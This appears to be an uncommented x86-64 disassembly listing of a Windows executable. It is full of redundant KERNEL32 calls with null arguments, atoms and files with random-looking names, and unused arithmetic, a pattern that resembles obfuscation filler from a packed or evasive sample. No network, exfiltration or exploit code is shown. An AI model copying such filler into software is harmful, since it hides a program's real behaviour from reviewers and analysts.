mov word [rsp + 0x10d0], ax
mov rax, qword [rsp + 0x87e0]
mov qword [rsp + 0x9f00], rax
mov rax, qword [rsp + 0x9b50]
mov rcx, qword [rsp + 0x9de8]
mov qword [rsp + 0x9f08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9f08]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9af0], rax
mov rcx, qword [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4aa8], eax
mov dword [rsp + 0x206a0], 0x11c
mov rax, qword [rsp + 0x98a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16a]
xor eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov byte [rcx], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
lea rax, [rsp + 0xf84]
mov qword [rsp + 0x9f10], rax
mov eax, dword [rsp + 0x49b4]
mov rcx, qword [rsp + 0x97e0]
mov qword [rsp + 0x9f18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9f18]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
movzx ecx, word [rsp + 0xfd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfc0], ax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9df8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x6ec], ax
mov rax, qword [rsp + 0x9630]
mov ecx, dword [rsp + 0x4880]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14024f31c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9718], rax
movzx eax, byte [rsp + 0x287]
movzx ecx, byte [rsp + 0x279]
sub eax, ecx
mov rcx, qword [rsp + 0x95b0]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov edx, 0x196c
mov rcx, qword [rsp + 0x9e08]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ab4], eax
lea rax, [rsp + 0x96a0]
mov qword [rsp + 0x9f28], rax
mov rax, qword [rsp + 0x9888]
mov rcx, qword [rsp + 0x9bc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x80e0], rax
lea rcx, [rsp + 0x1a618]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x10d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10ec], ax
mov rax, qword [0x14024f2c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10c4]
sub eax, ecx
mov rcx, qword [rsp + 0x93e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d80]
mov eax, dword [rax]
mov dword [rsp + 0x4ab8], eax
mov rcx, qword [rsp + 0x8cd8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4924], eax
mov rax, qword [rsp + 0x9db8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x255]
add eax, ecx
mov byte [rsp + 0x153], al
lea rcx, [rsp + 0x20580]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4aac], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.o2tsTSDIaKPTa
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9f30], rax
movzx ecx, word [rsp + 0xf08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d4], ax
lea rax, [rsp + 0xf54]
mov qword [rsp + 0x9f38], rax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.cG3S_TJNoz_UUF_QQGYyR
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10f0], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rcx, qword [rsp + 0x9580]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4958], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x9c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x469c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4970], eax
lea rcx, str.Jt_GmhInuKW_QGL9afrP_g26p
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10f4], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rcx, qword [rsp + 0x93a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f40], rax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3198
mov r9d, 0x243c
mov r8d, 0x5ee0aebd
mov edx, 1
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4abc], eax
lea rax, [rsp + 0x205]
mov qword [0x14024f2a8], rax
mov rcx, qword [rsp + 0x9a80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsp + 0x96b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e70], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0x9270]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7be8], rax
movzx eax, word [rsp + 0xde4]
movzx ecx, word [rsp + 0xeec]
add eax, ecx
mov word [rsp + 0x6d8], ax
mov eax, dword [0x14024f38c]
mov dword [rsp + 0x4ac0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cc8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movzx ecx, word [rsp + 0x10e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.JBLKMtQGIg0TylDXR0p
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9f48], rax
mov rax, qword [rsp + 0x9870]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1000], ax
movsx eax, byte [rsp + 0x12b]
mov rcx, qword [rsp + 0x97d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x27f], al
lea rax, [rsp + 0x3e5c]
mov qword [rsp + 0x9f50], rax
lea rcx, [rsp + 0x9c60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r9d, r9d
lea r8, [rsp + 0x98e8]
mov rdx, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x498c], eax
mov rax, qword [rsp + 0x9a38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b40]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x276], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f58], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movzx ecx, word [rsp + 0xf4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1044], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x27e]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140221338], al
lea rax, [rsp + 0x1030]
mov qword [rsp + 0x9f60], rax
mov rax, qword [rsp + 0x9cf8]
mov ecx, dword [rsp + 0x49d4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0x8d28]
mov rdx, qword [rsp + 0x9908]
mov rcx, qword [rsp + 0x9f30]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a58], eax
lea rcx, str.SHAgraWl.k_1rd
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10f8], ax
lea rax, [rsp + 0x8918]
mov qword [rsp + 0x9f68], rax
movzx ecx, word [rsp + 0x10b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfa0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x93b0]
mov rcx, qword [0x14022fb60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x86e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
mov eax, dword [rsp + 0x4668]
mov ecx, dword [rsp + 0x4120]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9870]
movzx eax, word [rax]
mov word [rsp + 0x10fc], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9c70], rax
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x283]
movsx ecx, byte [rsp + 0x127]
sub eax, ecx
mov byte [rsp + 0x272], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9f70], rax
lea rcx, [rsp + 0x1a5e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e78], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20580]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4704], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
lea rcx, [0x1402313f8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1100], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movzx eax, word [rsp + 0x6ec]
mov rcx, qword [rsp + 0x9660]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14024f318], ax
movzx ecx, word [rsp + 0x1074]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf14], ax
mov dword [rsp + 0x207c0], 0x11c
mov rax, qword [rsp + 0x9738]
mov rcx, qword [rsp + 0x9708]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9970], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x9218]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28e]
add eax, ecx
mov byte [rsp + 0x279], al
mov rax, qword [rsp + 0x93b0]
mov qword [rsp + 0x9f78], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
movzx ecx, word [rsp + 0xfdc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10e0], ax
mov rax, qword [rsp + 0x9d70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x26a]
and eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ad0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8b4], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f80], rax
mov dword [rsp + 0x20], 0x3402
mov r9d, 0x211c
mov r8d, 0xff8
mov edx, 0x2ab0
mov rcx, qword [rsp + 0x9bd8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4a38], eax
lea rdx, [rsp + 0x9f88]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4888], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rdx, [rsp + 0x9ec8]
mov rcx, qword [rsp + 0x9bb0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46ec], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9f90], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9718], rax
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movsx eax, byte [rsp + 0x272]
movsx ecx, byte [rsp + 0x278]
sar eax, cl
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
mov rax, qword [rsp + 0x93e0]
mov rcx, qword [rsp + 0x9c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9b70]
mov dword [rcx], eax
lea rcx, str.BzIJKycP_PMmsh6a
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1104], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d88], rax
lea rax, [rsp + 0x43a8]
mov qword [rsp + 0x9f98], rax
lea rcx, [rsp + 0x1fc80]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4810], eax
lea rcx, [rsp + 0x1a6d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x20], 0x24d
mov r9d, 0x38bb
mov r8d, 0x3806
mov edx, 0x57c
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4a70], eax
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a00]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x14024f3c8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
lea rcx, [rsp + 0x1a4f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x208e0], 0x11c
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0x9868]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9c98], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f80], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movzx ecx, word [rsp + 0xf5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0x9a38]
movzx eax, byte [rax]
mov byte [rsp + 0x28f], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.kxCOmCMLYAQs53N
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9fa0], rax
lea rcx, [rsp + 0x1a468]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1038]
shl eax, cl
mov word [rsp + 0xb9c], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x99c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c48]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rax, [rsp + 0x44ec]
mov qword [rsp + 0x9fa8], rax
lea rcx, [rsp + 0x1a708]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e50]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x97d0]
mov byte [rcx], al
movzx ecx, word [rsp + 0xf94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10ec], ax
lea rax, [rsp + 0x1090]
mov qword [rsp + 0x9fb0], rax
mov dword [rsp + 0x20a00], 0x11c
mov rax, qword [rsp + 0x9330]
mov rcx, qword [rsp + 0x9f00]
imul rcx, qword [rax]
mov rax, rcx
mov rcx, qword [rsp + 0x97f0]
mov qword [rcx], rax
lea rcx, [rsp + 0x1a558]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x8f90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x99f8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, str.A4_kB_a
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10e4], ax
movzx eax, byte [rsp + 0x28d]
mov byte [rsp + 0x290], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.IwPy6cBV4UuDkVlRLo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9fb8], rax
lea rcx, [rsp + 0x9cc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movzx eax, word [rsp + 0x9b8]
mov word [0x14024f2a2], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x20580]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x49ec], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movzx ecx, word [rsp + 0x10c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1108], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x9f98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x46a0], eax
mov rax, qword [rsp + 0x9af8]
mov rcx, qword [rsp + 0x9690]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8cf8]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x5d4
mov r9d, 0x26d0
mov r8d, 0x35b2
mov edx, 0x360f
mov rcx, qword [rsp + 0x97b0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4964], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9c18]
mov rcx, qword [rsp + 0x9ab0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8960], rax
mov rax, qword [rsp + 0x93c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe6c]
add eax, ecx
mov word [rsp + 0xf54], ax
lea rax, [rsp + 0x272]
mov qword [rsp + 0x9fc0], rax
mov rax, qword [rsp + 0x9a20]
mov ecx, dword [rsp + 0x4648]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4684], eax
mov rax, qword [rsp + 0x95b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x257]
sub eax, ecx
mov byte [rsp + 0x26a], al
movzx ecx, word [rsp + 0xf58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10c0], ax
movzx ecx, word [rsp + 0x1044]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf3c], ax
lea rcx, str.mTk4iHjXil7WVYWLfLxTz
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x110c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea rax, [rsp + 0x47d0]
mov qword [rsp + 0x9fc8], rax
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [0x14024f378]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022fb84], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9880], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x95b8]
mov rcx, qword [rsp + 0x9688]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x93b0], rax
mov rax, qword [rsp + 0x9e70]
mov qword [rsp + 0x9fd0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.7MFb6ff
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9fd8], rax
mov r9d, 0x1b56
xor r8d, r8d
lea rdx, [rsp + 0x9f70]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49ac], eax
mov eax, dword [0x14022fb74]
mov ecx, dword [rsp + 0x4a54]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9778]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4a80]
movzx ecx, al
mov eax, dword [rsp + 0x4744]
sar eax, cl
mov dword [rsp + 0x4314], eax
lea rcx, [rsp + 0x20460]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4940], eax
lea rcx, [rsp + 0x1a738]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [rsp + 0x137]
movsx ecx, byte [rsp + 0x283]
xor eax, ecx
mov byte [rsp + 0x78], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0x9e98]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9930]
shl rax, cl
mov rcx, qword [rsp + 0x8f10]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x98f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a38], eax
lea rax, [rsp + 0x1000]
mov qword [rsp + 0x9fe0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9fe8], rax
mov rcx, qword [rsp + 0x9a80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4984], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x26a]
cdq
idiv ecx
mov byte [rsp + 0x28c], al
xor r9d, r9d
lea r8, [rsp + 0x9dc8]
mov rdx, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0x95c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ac4], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
movzx eax, word [rsp + 0xf2c]
mov word [0x14024f2a0], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x97f8], rax
mov rax, qword [rsp + 0x9ed8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9b90]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov eax, dword [rsp + 0x48a4]
mov dword [rsp + 0x4ac8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movzx eax, word [rsp + 0xf0c]
movzx ecx, word [rsp + 0x108c]
sub eax, ecx
mov word [rsp + 0x694], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f20], rax
movsx eax, byte [rsp + 0xb2]
movsx ecx, byte [rsp + 0x288]
and eax, ecx
mov byte [rsp + 0x18b], al
lea rcx, [rsp + 0x9760]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x93e0]
mov ecx, dword [rsp + 0x4764]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4120], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0x9fe0]
movzx eax, word [rax]
mov word [rsp + 0x1110], ax
mov rax, qword [rsp + 0x9ed8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a3], al
mov rax, qword [rsp + 0x99c0]
mov ecx, dword [0x14024f31c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xde4]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14024f394], ax
lea rax, [rsp + 0x88b0]
mov qword [rsp + 0x9ff0], rax
mov r9d, 2
lea r8, [rsp + 0x9760]
mov rdx, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x9788]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46fc], eax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [0x14024f3c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9e58]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ff8], rax
